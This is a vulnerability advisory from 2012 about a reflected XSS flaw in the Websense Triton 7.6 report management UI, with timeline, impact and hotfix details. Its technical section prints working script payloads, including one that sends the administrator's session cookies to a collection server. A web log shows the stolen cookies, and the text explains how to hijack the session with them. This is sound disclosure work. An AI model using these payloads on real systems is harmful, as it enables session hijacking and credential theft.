NGS00137 Technical Advisory: Websense Triton 7.6 - reflected XSS in report management UI

Type securityvulns
Reporter Securityvulns
Modified 2012-05-01T00:00:00


======= Summary ======= Name: Websense (Triton 7.6) reflected XSS in report management UI Release Date: 30 April 2012 Reference: NGS00137 Discoverer: Ben Williams <> Vendor: Websense Vendor Reference: Systems Affected: Risk: Medium Status: Fixed

======== TimeLine ======== Discovered: 24 October 2011 Released: 2 November 2011 Approved: 2 November 2011 Reported: 2 November 2011 Fixed: 2 December 2011 Published: 30 April 2012

=========== Description =========== Websense (Triton 7.6) is prone to reflective XSS in the report management UI enabling capture authentication session tokens.

The exploit would require an attacker to:

  • Know the IP address or hostname of the Websense system
  • Get the administrator to click on a crafted URL
  • The exploit will work with the administrator logged out

================= Technical Details =================


Websense (Triton 7.6) reflective XSS in report management UI


Websense is one of the world's best known web-filter products.

The "Triton" administrative UI allows administration of multiple Websense solutions, including their Email, Web, and DLP products


Websense (Triton 7.6) is prone to reflective XSS in the report management UI enabling capture of authentication session tokens.

This allows an attacker to gain access to the reporting UI (by session hijacking) or run arbitrary javasript in the context of the administrators browser and the Websense administrative UI.


Affected URL:


Pop-up showing some session-cookies"><script>alert(document.cookie)</script>&section=1&uid=&col=1&cor=1&explorer=1&fork=1&puid=7360

Send the current session-cookies to a credentials-collection server:"><script>document.location=unescape(""%2bencodeURIComponent(document.cookie))</script>&section=1&uid=&col=1&cor=1&explorer=1&fork=1&puid=7360

From the collection servers web logs: - - [24/Oct/2011:12:30:00 +0100] "GET/WS_ADMIN_WEB_CONFIG=%22%7BuiLanguage=en,%20baseUrl-https=,%20baseUrl-http=,%20loginPageUrl=login/pages/loginPage.jsf,%20keepAliveUrl=login/images/spacer.gif,%20helpBaseURL=;%20WS_JAVA_SESSION_INFO=%22{id=1A8736BC74BC6521CA63D1583B96A8E8,%20ttl=1800}%22;%20WS_SHARED_SESSION=%22{uid=YWRtaW4=,%20userRoles=664332B2D4D7ECEBBC6DC1FA92D160BFDC102E4B2F8CC983B712A0D24B631F5CF029F7967E8C92C3F7193EABE67F652A,%20domain=,%20sharedSesId=7062414478986846786,%20userType=local}%22;%20WSIRPT=timestamp%3D1319455805 HTTP/1.1" 404 802 "-" "Mozilla/5.0 (X11; Linux i686 on x86_64; rv:6.0.2) Gecko/20100101 Firefox/6.0.2"

The cookies can be added to the attackers browser and used to login to the report area; manipulate reports, report schedules, etc.

The main concern however is the ability for the attacker to run javascript in the context of the administrators browser and the administrative UI.

Though there does appear to be a session token specified in the url requests (a434cf98f3a402478599a71495a4a71e) this can be changed without affecting the exploit's effectiveness.

The exploit will also work with the administrator logged-out - so there seem to be some session-management issues.

=============== Fix Information =============== This issue is addressed in Hotfix 24, which can be downloaded at:

NGS Secure Research